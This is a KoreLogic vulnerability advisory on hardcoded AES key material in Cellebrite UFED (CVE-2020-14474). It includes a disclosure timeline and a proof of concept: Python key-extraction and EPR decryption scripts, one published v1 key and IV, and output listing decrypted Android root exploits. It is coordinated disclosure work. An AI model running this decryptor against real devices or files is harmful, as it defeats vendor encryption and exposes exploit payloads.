Skip to main content
Security Advisory

Cellebrite EPR Decryption Relies on Hardcoded AES Key Material

Advisory ID
KL-001-2020-003
Published
2020-06-29
Vendor
Cellebrite

Affected Systems

Product
UFED
Version
5.0 - 7.5.0.845
Platform
Embedded Windows

Discovered By

Matt Bergin (KoreLogic)
Download (signed .txt)

Vulnerability Details

Affected Vendor: Cellebrite
Affected Product: UFED
Affected Version: 5.0 - 7.5.0.845
Platform: Embedded Windows
CWE Classification: CWE-321: Use of Hard-coded Cryptographic Key
CVE ID: CVE-2020-14474

Vulnerability Description

The Cellebrite UFED Physical device relies on key material hardcoded within both the executable code supporting the decryption process and within the encrypted files themselves by using a key enveloping technique. The recovered key material is the same for every device running the same version of the software and does not appear to be changed with each new build. It is possible to reconstruct the decryption process using the hardcoded key material and obtain easy access to otherwise protected data.

Technical Description

A recursive listing of my standalone decryptor directory:

  $ find .
  .
  ./decrypt-epr
  ./input
  ./input/DLLs
  ./input/DLLs/731
  ./input/DLLs/731/FileUnpacking.dll
  ./input/EPRs
  ./input/EPRs/731
  ./input/EPRs/731/Android.zip.epr
  ./output
  ./output/EPRs
  ./output/EPRs/731
  ./extract-keys
  ./Makefile

(See the Proof of Concept section for relevant code snippets.)

First, we start by running the extract-keys script on the relevant FileUnpacking.dll file. The provided Makefile will automatically output the relevant key material to the same directory where the DLL resides.

  $ make keys
  Extracting AES keys from input/DLLs/731/FileUnpacking.dll
  64+0 records in
  64+0 records out
  64 bytes copied, 0.000186032 s, 344 kB/s
  32+0 records in
  32+0 records out
  32 bytes copied, 0.000116104 s, 276 kB/s
  636+0 records in
  636+0 records out
  636 bytes copied, 0.00140342 s, 453 kB/s
  Finished

The extract-keys script contains a nested JSON-object and iterates over the bytes of the file provided creating a SHA256 hash for each DWORD. The calculated hash is compared against known matches and when found the script will automatically extract the bytes relevant.

Now a selected EPR file may be decrypted. A good example is the Android.zip.epr file, which contains a set of local privilege escalation exploits.

  $ ./decrypt-epr --verbose --file input/EPRs/731/Android.zip.epr
  [+] The EPR file specified exists.
  [+] The specified EPR file has been read into memory.
  [-] Decrypter setup with key 1 for version 3
  [+] Round one of the EPR decryption completed successfully.
  [-] Calculated that the flag will be: [REDACTED]
  [+] The SHA256 key flag has been calculated.
  [-] Found the flag: [REDACTED]
  [+] The SHA256 key flag has been found.
  [-] Decrypter setup with key 2 for version 3
  [+] Round two of the EPR decryption completed successfully. Obtained the final AES key and IV.
  [-] AES Key: [REDACTED], IV: [REDACTED]
  [-] Decrypter setup with key 3 for version 3
  [-] Finished decrypting all blocks.
  [-] Writing bytes to: input/EPRs/731/Android.zip.epr.broken
  [-] Wrote 2552640 bytes to a broken file.
  [+] Round three of the EPR decryption completed successfully. The encrypted zip archive has been decrypted.
  [-] Running: zip -FF input/EPRs/731/Android.zip.epr.broken --out input/EPRs/731/Android.zip.epr.zip > /dev/null 2>&1
  [-] Removing the broken file.
  [+] Decrypted file available at output/EPRs/731/Android.zip.epr.zip
  [+] done.

The decrypted file can then be unzipped.

  $ unzip Android.zip.epr.zip
  Archive:  Android.zip.epr.zip
    inflating: c2a_disable_selinux_32.ko
    inflating: c2a_disable_selinux_64.ko
    inflating: com.mr.meeseeks.apk
    inflating: daemonize
    inflating: dirtycow
    inflating: dirtycow_32
    inflating: DisableHuaweiLogging_2.1.5767a
    inflating: django_2.1.5767a
    inflating: EnableHuaweiLogging_2.1.5767a
    inflating: EnableSharpRead_2.1.5767a
    inflating: exploits_2.1.5769.csv
    inflating: forensics
    inflating: fourrunnerStatic_2.1.5767a
    inflating: gb_2.1.5767a
    inflating: nandd
    inflating: nandread-pie-vold
    inflating: nandread-pie_7182
    inflating: nandread64-pie-vold
    inflating: nandreadStatic_7182
    inflating: patcher.exe
    inflating: pingroot
    inflating: pingroot_vultest
    inflating: psneuter_2.1.5767a
    inflating: RecoveryImageMap.csv
    inflating: rootspotter.apk
    inflating: rootspot_verify_env
    inflating: rosecure_2.1.5767a
    inflating: setuid_2.1.5767a
    inflating: shellcode.bin
    inflating: shellcode_32_iptables.bin
    inflating: shellcode_32_oatdump.bin
    inflating: zergRush_2.1.5767a

The encryption algorithm uses a software-only key enveloping technique where part of the key material is stored within executable code and part within a encrypted header inside of the encrypted file. The encrypted header is extracted from the encrypted file and decrypted using key material hardcoded within executable code.

Some of the bytes decrypted then undergo a XOR operation to calculate the last DWORD of a SHA256 hash. Separately, a set of 254 bytes is iterated over using 64 bytes per iteration. A complete SHA256 hash is generated for each set of 64-bytes and the ending DWORD of this hash is then compared against the calculated DWORD. If there is a match the bytes used to calculate the DWORD are the next set of key material.

The decryption tool outputs the following match:

  [-] Calculated that the flag will be: [REDACTED]
  [+] The SHA256 key flag has been calculated.
  [-] Found the flag: [REDACTED]

The last DWORD matches. In fact there are a total of eight possible intermediate keys that can be chosen from based on the bytes observed.

A third and final key exists within each encrypted file header. This key is decrypted using the hardcoded intermediate key used for encrypted the selected file. From here bytes 0x80 through the end of the file are decrypted in blocks of 0x10000.

Mitigation and Remediation Recommendation

The vendor has informed KoreLogic that this vulnerability is not present on recent versions of the UFED devices. Cellebrite stated, “While the method described in the reports does not work on recent versions (we previously made multiple changes that broke it), the core key material was exposed and will be rotated effective immediately.”

Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc.

Proof of Concept

File Name: Makefile

  clean:
    for filepath in `find input/DLLs -type f -name '*.keys' -o -name '*.aes' -o -name '*.iv' -o -name '*.map' -o -name '*.zip'`; do \
      rm -rf $$filepath ; \
    done

  keys:
    @for filepath in `find input/DLLs -type f -name '*.dll'` ; do \
      echo Extracting AES keys from $$filepath ; \
      ./extract-keys --file $$filepath > $$filepath.keys ; \
      if [ -f "$$filepath" ] ; then \
        dd bs=1 if=$$filepath.keys count=64 of=$$filepath.aes ; \
        dd bs=1 if=$$filepath.keys count=32 skip=64 of=$$filepath.iv ; \
        dd bs=1 if=$$filepath.keys skip=96 of=$$filepath.map ; \
      else \
        echo Could not find extract-keys output ; \
      fi \
    done ; \
    echo Finished

Script Name: extract-keys

  #!/usr/bin/python
  from optparse import OptionParser
  from os.path import exists, basename
  from binascii import hexlify
  from hashlib import sha256
  from os import makedirs

  keyMap = {
    # UFED 5.1
    "Dump_MotGSM.dll":{
      "offsets":{
        "aes":{
          "key":"0e282e124bb8af53357f7e8cb3460a23c94def3fe4f181a57c9fcba3f5f7f054",       # Key and IV already public information
          "iv":"888c609edc9eb9dfb4d30dfebc9f0431"                                         # https://github.com/cellebrited/cellebrite
          }
      }
    },
    # UFED 7.3
    "FileUnpacking.dll":[
      {
        "offsets":{
          "aes":{
            "keySize":32,
            "keyHash":"[REDACTED]",  # sha256 hash of first dword
            "ivSize":16,
            "ivHash":"[REDACTED]"    # sha256 hash of first dword
            },
          "mapSize":256,
          "mapHash":"[REDACTED]"     # sha256 hash of first dword
        }
      }
    ]
  }

  if __name__ == "__main__":
    parser = OptionParser()
    parser.add_option("--file",dest="file",default='',help="Decryptor DLL")
    o,a = parser.parse_args()
    if (exists(o.file) != True):
      print "[!] The specified file does not exist"
      exit(1)
    try:
      with open(o.file,'rb') as fp:
        fileData = fp.read()
      print "[-] Read {} bytes.".format(len(fileData))
      if (isinstance(keyMap[basename(o.file)], str)):
        if ("Dump_MotGSM.dll" == basename(o.file)):
          print keyMap[basename(o.file)]["offsets"]["aes"]["key"] + keyMap[basename(o.file)]["offsets"]["aes"]["iv"]
      else:
        foundKey, foundIV, foundMap = False, False, False
        for i in xrange(0, len(keyMap[basename(o.file)])):
          for pos in xrange(0,len(fileData)):
            nextDWORD = hexlify(fileData[pos:pos+4])
            if (sha256(nextDWORD).hexdigest() == keyMap[basename(o.file)][i]["offsets"]["aes"]["keyHash"] and not foundKey):
              foundKey = True
              aesKey = hexlify(fileData[pos:pos+32])
              print "[+] Found key at {}. Value: {}".format(hex(pos),aesKey)
            if (sha256(nextDWORD).hexdigest() == keyMap[basename(o.file)][i]["offsets"]["aes"]["ivHash"] and not foundIV):
              foundIV = True
              aesIV = hexlify(fileData[pos:pos+16])
              print "[+] Found IV at {}. Value: {}".format(hex(pos),aesIV)
            if (sha256(nextDWORD).hexdigest() == keyMap[basename(o.file)][i]["offsets"]["mapHash"] and not foundMap):
              foundMap = True
              aesMap = hexlify(fileData[pos:pos+keyMap[basename(o.file)][i]["offsets"]["mapSize"]])
              print "[+] Found map at {}. Value: {}".format(hex(pos),aesMap)
            if (foundKey and foundIV and foundMap):
              break
            pos+=1
    except Exception as e:
        print "[!] Could not read the specified file. Reason: {}".format(e)
    exit(0)

Script Name: decrypt-epr

  #!/usr/bin/python
  from logging.handlers import TimedRotatingFileHandler
  from optparse import OptionParser
  from os.path import exists, getsize, dirname, realpath
  from os.path import join as path_join
  from os import system, remove
  from shutil import move
  from Crypto.Cipher import AES
  from binascii import unhexlify, hexlify
  from hashlib import sha256
  import sys
  import logging

  logging.basicConfig(
    format="%(asctime)s [%(levelname)s] %(message)s",
    level=logging.INFO,
    handlers=[
      TimedRotatingFileHandler(
        path_join(
          dirname(realpath(__file__)),
          "logger.log",
        ),
        interval=1,
      ),
      logging.StreamHandler(sys.stdout),
    ],
  )
  logger = logging.getLogger(__name__)

  bs = AES.block_size
  pad = lambda s: s + (bs - len(s) % bs) * chr(bs - len(s) % bs)

  class EPR:
    def __init__(self, file, version, verbose):
      self.epr_v1_aes_key = "0e282e124bb8af53357f7e8cb3460a23c94def3fe4f181a57c9fcba3f5f7f054" # Already public information
      self.epr_v1_aes_iv = "888c609edc9eb9dfb4d30dfebc9f0431"                                  # Already public information
      self.epr_v2_aes_key = "[REDACTED]"
      self.epr_v2_aes_iv = "[REDACTED]"
      self.epr_v3_aes_key = self.epr_v2_aes_key
      self.epr_v3_aes_iv = self.epr_v2_aes_iv
      self.epr_v2_aes_map = "[REDACTED]"
      self.epr_v3_aes_map = "[REDACTED]"
      self.epr_v3_aes_iv_two = None
      self.file = file or False
      self.version = version
      self.encrypted_file = None
      self.encrypted_epr = None
      self.encrypted_magic = None
      self.decrypted_epr = None
      self.final_epr = b''
      self.logging = verbose
    def file_exists(self):
      if not self.file:
        return False
      return exists(self.file)
    def can_read_file(self):
      return getsize(self.file)
    def read_entire_file(self):
      try:
        fp = open(self.file,'rb')
        self.encrypted_file = fp.read()
        fp.close()
      except Exception as e:
        logger.error("[!] Encountered an exception. Reason: {}".format(e))
        return False
      return True
    def flat_decrypt(self):
      self.encrypted_magic = self.encrypted_file[:21]
      if (self.encrypted_magic[:-2] == "Cellebrite EPR File"):
        self.encrypted_epr = self.encrypted_file[21:]
        if self.version == 1:
          crypter = AES.new(unhexlify(self.epr_v1_aes_key),AES.MODE_CBC,unhexlify(self.epr_v1_aes_iv))
          if self.logging: logger.info("[-] Decrypter setup with key 1 for version {}".format(self.version))
        else:
          crypter = AES.new(unhexlify(self.epr_v3_aes_key),AES.MODE_CBC,unhexlify(self.epr_v3_aes_iv))
          if self.logging: logger.info("[-] Decrypter setup with key 1 for version {}".format(self.version))
        try:
          self.decrypted_epr = crypter.decrypt(self.encrypted_epr)
          if self.version == 2:
            self.epr_v2_aes_iv_two = hexlify(self.decrypted_epr[32:48])
          elif self.version == 3:
            self.epr_v3_aes_iv_two = hexlify(self.decrypted_epr[32:48])
          else:
            pass
        except Exception as e:
          logger.error("[!] Encountered an exception. Reason: {}".format(e))
          return False
        return True
      return False
    def calc_sha256_dword(self):
      try:
        to_xor_a = hexlify(self.decrypted_epr[24:28])
        to_xor_a = [to_xor_a[i:i+2] for i in range(0, len(to_xor_a), 2)]
        to_xor_b = hexlify(self.decrypted_epr[28:32])
        to_xor_b = [to_xor_b[i:i+2] for i in range(0, len(to_xor_b), 2)]
        xored_1 = int(to_xor_a[-1],16) ^ int(to_xor_b[-1],16)
        xored_1 = "{0:0{1}x}".format(xored_1,2)
        xored_2 = int(to_xor_a[-2],16) ^ int(to_xor_b[-2],16)
        xored_2 = "{0:0{1}x}".format(xored_2,2)
        xored_3 = int(to_xor_a[-3],16) ^ int(to_xor_b[-3],16)
        xored_3 = "{0:0{1}x}".format(xored_3,2)
        xored_4 = int(to_xor_a[-4],16) ^ int(to_xor_b[-4],16)
        xored_4 = "{0:0{1}x}".format(xored_4,2)
        if (self.version == 2):
          self.epr_v2_sha256_flag = str(xored_4) + str(xored_3) + str(xored_2) + str(xored_1)
          if self.logging: logger.info("[-] Calculated that the flag will be: {}".format(self.epr_v2_sha256_flag))
        else:
          self.epr_v3_sha256_flag = str(xored_4) + str(xored_3) + str(xored_2) + str(xored_1)
          if self.logging: logger.info("[-] Calculated that the flag will be: {}".format(self.epr_v3_sha256_flag))
      except Exception as e:
        logger.error("[!] Encountered an exception. Reason: {}".format(e))
        return False
      return True
    def key_map_check(self):
      found = False
      if (self.version == 2):
        for i in range(0, len(self.epr_v2_aes_map), 64):
          hash = sha256(unhexlify(self.epr_v2_aes_map[i:i+64])).hexdigest()
          if (hash.endswith(self.epr_v2_sha256_flag)):
            if self.logging: logger.info("[-] Found the flag: {}".format(self.epr_v2_sha256_flag))
            found = True
            self.epr_v2_aes_key_two = self.epr_v2_aes_map[i:i+64]
      else:
        for i in range(0, len(self.epr_v3_aes_map), 64):
          hash = sha256(unhexlify(self.epr_v3_aes_map[i:i+64])).hexdigest()
          if (hash.endswith(self.epr_v3_sha256_flag)):
            if self.logging: logger.info("[-] Found the flag: {}".format(self.epr_v3_sha256_flag))
            found = True
            self.epr_v3_aes_key_two = self.epr_v3_aes_map[i:i+64]
      return found
    def decrypt_key(self):
      try:
        if (self.version == 2):
          crypter = AES.new(unhexlify(self.epr_v2_aes_key_two),AES.MODE_CBC,unhexlify(self.epr_v2_aes_iv_two))
          if self.logging: logger.info("[-] Decrypter setup with key 2 for version {}".format(self.version))
          self.epr_v2_aes_key_three = hexlify(crypter.decrypt(self.decrypted_epr[48:80]))
          self.epr_v2_aes_iv_three = hexlify(self.decrypted_epr[112:128])
        else:
          crypter = AES.new(unhexlify(self.epr_v3_aes_key_two),AES.MODE_CBC,unhexlify(self.epr_v3_aes_iv_two))
          if self.logging: logger.info("[-] Decrypter setup with key 2 for version {}".format(self.version))
          self.epr_v3_aes_key_three = hexlify(crypter.decrypt(self.decrypted_epr[48:80]))
          self.epr_v3_aes_iv_three = hexlify(self.decrypted_epr[112:128])
      except Exception as e:
        logger.error("[!] Encountered an exception. Reason: {}".format(e))
        return False
      return True
    def decrypt_epr(self):
      if (self.version == 2):
        crypter = AES.new(unhexlify(self.epr_v2_aes_key_three),AES.MODE_CBC,unhexlify(self.epr_v2_aes_iv_three))
        if self.logging: logger.info("[-] AES Key: {}, IV: {}".format(self.epr_v2_aes_key_three,self.epr_v2_aes_iv_three))
      else:
        crypter = AES.new(unhexlify(self.epr_v3_aes_key_three),AES.MODE_CBC,unhexlify(self.epr_v3_aes_iv_three))
        if self.logging: logger.info("[-] AES Key: {}, IV: {}".format(self.epr_v3_aes_key_three,self.epr_v3_aes_iv_three))
      if self.logging: logger.info("[-] Decrypter setup with key 3 for version {}".format(self.version))
      self.encrypted_epr = self.encrypted_epr[128:]
      for pos in range(0, len(self.encrypted_epr), 65536):
        decryptPart = self.encrypted_epr[pos:pos+65536]
        try:
          self.final_epr+=crypter.decrypt(decryptPart)
        except ValueError as e:
          self.final_epr+=crypter.decrypt(pad(decryptPart))
      if self.logging: logger.info("[-] Finished decrypting all blocks.")
      try:
        if self.logging: logger.info("[-] Writing bytes to: {}.broken".format(self.file))
        fp = open("{}.broken".format(self.file),"wb")
        fp.write(self.final_epr)
        fp.close()
        if self.logging: logger.info("[-] Wrote {} bytes to a broken file.".format(len(self.final_epr)))
      except Exception as e:
        logger.error("[!] Encountered an exception. Reason: {}".format(e))
        return False
      return True
    def zip_FF(self):
      if self.logging: logger.info("[-] Running: zip -FF {}.broken --out {}.zip > /dev/null 2>&1".format(self.file,self.file))
      system("zip -FF {}.broken --out {}.zip > /dev/null 2>&1".format(self.file,self.file))
      return True
    def finish(self):
      if self.logging: logger.info("[-] Removing the broken file.")
      remove("{}.broken".format(self.file))
      move("{}.zip".format(self.file),"{}.zip".format(self.file.replace("input","output")))
      logger.info("[+] Decrypted file available at {}.zip".format(self.file.replace("input","output")))
      return True

  def main():
    parser = OptionParser()
    parser.add_option("--file",dest="file",default=False,help="EPR File Path")
    parser.add_option("--version",dest="version",choices=(str(1),str(2),str(3)),default=str(3),help="EPR Version")
    parser.add_option("--verbose",dest="verbose",action="store_true",help="Enable verbose mode")
    o,a = parser.parse_args()
    o.version = int(o.version)
    epr = EPR(o.file,o.version,o.verbose)

    if not epr.file_exists():
      logger.info("[!] Unable to find the encrypted EPR file specified.")
      return False
    logger.info("[+] The EPR file specified exists.")
    if not epr.can_read_file():
      logger.info("[!] Unable to open a file object to the encrypted EPR file.")
      return False
    if not epr.read_entire_file():
      logger.info("[!] Unable to read the encrypted EPR file.")
      return False
    logger.info("[+] The specified EPR file has been read into memory.")
    logger.info("[+] Using the version {} decryption process.".format(o.version))
    if not epr.flat_decrypt():
      logger.info("[!] Unable to run the initial decryption round.")
      return False
    logger.info("[+] Round one of the EPR decryption completed successfully.")
    if not epr.calc_sha256_dword():
      logger.info("[!] Unable to calculate the SHA256 key flag.")
      return False
    if o.verbose: logger.info("[+] The SHA256 key flag has been calculated.")
    if not epr.key_map_check():
      logger.info("[!] Unable to find a AES key match.")
      return False
    if o.verbose: logger.info("[+] The SHA256 key flag has been found.")
    if not epr.decrypt_key():
      logger.info("[!] Could not decrypt the final AES key.")
      return False
    logger.info("[+] Round two of the EPR decryption completed successfully. Obtained the final AES key and IV.")
    if not epr.decrypt_epr():
      logger.info("[!] Unable to decrypt the EPR file.")
      return False
    logger.info("[+] Round three of the EPR decryption completed successfully. The encrypted zip archive has been decrypted.")
    if not epr.zip_FF():
      logger.info("[!] Could not clean up garbage.")
      return False
    return True

  if __name__ == "__main__":
    success = main()
    if success:
      logger.info("[+] done")
    else:
      logger.info("[!] failed")
    exit(success)

The contents of this advisory are copyright(c) 2020 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt

Disclosure Timeline

KoreLogic submits vulnerability details to Cellebrite.

Cellebrite acknowledges receipt and the intention to investigate.

KoreLogic requests an update on the status of the vulnerability report.

Cellebrite responds, notifying KoreLogic that the technique is not applicable to newer UFED releases. Requests time beyond the standard 45 business day embargo to ensure all exposed keys have been changed.

45 business days have elapsed since the report was submitted to Cellebrite.

KoreLogic requests an update from Cellebrite.

Cellebrite reports that affected key material has been retired.

CVE Requested.

MITRE issues CVE-2020-14474.

KoreLogic public disclosure.

Responsible Disclosure

KoreLogic follows responsible disclosure practices. All vulnerabilities are reported to affected vendors with appropriate time for remediation before public disclosure.

Vendor notification and coordination
90+ day disclosure timeline
CVE coordination when applicable